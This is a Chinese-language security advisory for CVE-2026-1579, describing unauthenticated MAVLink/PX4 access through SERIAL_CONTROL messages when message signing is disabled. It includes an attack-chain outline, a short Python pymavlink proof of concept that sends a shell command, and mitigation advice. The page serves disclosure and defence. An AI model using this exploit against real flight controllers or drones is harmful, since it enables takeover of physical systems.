IPBUF安全漏洞报告
English
CVE-2026-1579 CVSS 9.8 严重

CVE-2026-1579 MAVLink协议认证缺失漏洞

披露日期: 2026-03-31

漏洞信息

漏洞编号
CVE-2026-1579
漏洞类型
认证缺失
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
MAVLink, PX4

相关标签

MAVLinkPX4认证缺失远程代码执行工控安全

漏洞概述

CVE-2026-1579 是影响 MAVLink 通信协议的严重安全漏洞。该协议默认缺乏加密认证机制。在未启用 MAVLink 2.0 消息签名的情况下,任何能够访问 MAVLink 接口的攻击者都可以发送未经认证的消息。特别是利用 SERIAL_CONTROL 消息,攻击者可获取交互式 shell 访问权限,从而完全控制目标系统。

技术细节

该漏洞源于 MAVLink 协议在设计上默认不强制执行加密认证。虽然 MAVLink 2.0 引入了消息签名机制以验证通信双方的身份,但如果用户未在 PX4 或其他兼容系统中显式启用此功能,系统将接受所有传入的消息。攻击者只需接入网络(通过 UDP、串口或其他 MAVLink 传输方式),即可构造恶意的 MAVLink 数据包。通过发送 SERIAL_CONTROL 消息,攻击者可以绕过正常的操作流程,直接与系统的控制台交互,执行任意命令。这种攻击无需用户交互,且利用了协议层面的信任缺陷,导致机密性、完整性和可用性全面受损。

攻击链分析

STEP 1
步骤1:侦察
攻击者扫描并发现暴露的 MAVLink 通信接口(如 UDP 端口或串口)。
STEP 2
步骤2:建立连接
攻击者连接到目标系统的 MAVLink 接口,无需身份验证即可监听或发送数据。
STEP 3
步骤3:构造恶意消息
攻击者利用漏洞,构造未签名的 SERIAL_CONTROL 消息,该消息通常用于系统调试和控制台访问。
STEP 4
步骤4:执行攻击
发送恶意消息,由于系统未启用消息签名,消息被接受,攻击者获得交互式 Shell 权限,可执行任意系统命令。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import sys from pymavlink import mavutil # Connect to the target MAVLink system (UDP example) # Replace with target IP and port master = mavutil.mavlink_connection('udpout:127.0.0.1:14550') # Wait for a heartbeat to establish connection master.wait_heartbeat() # Target system and component (usually 1, 1) target_system = 1 target_component = 1 # Exploit: Send SERIAL_CONTROL message to execute command # This sends a command without signing if signing is not enforced command = "uname -a\n" master.mav.serial_control_send( target_system, # System ID target_component, # Component ID mavutil.mavlink.SERIAL_CONTROL_DEV_ENUM_SHELL, # Open shell 0, # Flags 0, # Timeout len(command), # Bytes to write 0, # Unused command.encode('utf-8') # The command bytes ) print("[+] Exploit packet sent: SERIAL_CONTROL with shell command.")

影响范围

MAVLink (未启用2.0消息签名的版本)
PX4 (未配置强制消息签名的版本)

防御指南

临时缓解措施
立即在 PX4 及相关系统中启用 MAVLink 2.0 消息签名,配置系统以拒绝所有未签名的入站消息。此外,应确保 MAVLink 通信接口仅暴露在受信任的网络环境中,避免直接连接至公共互联网。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表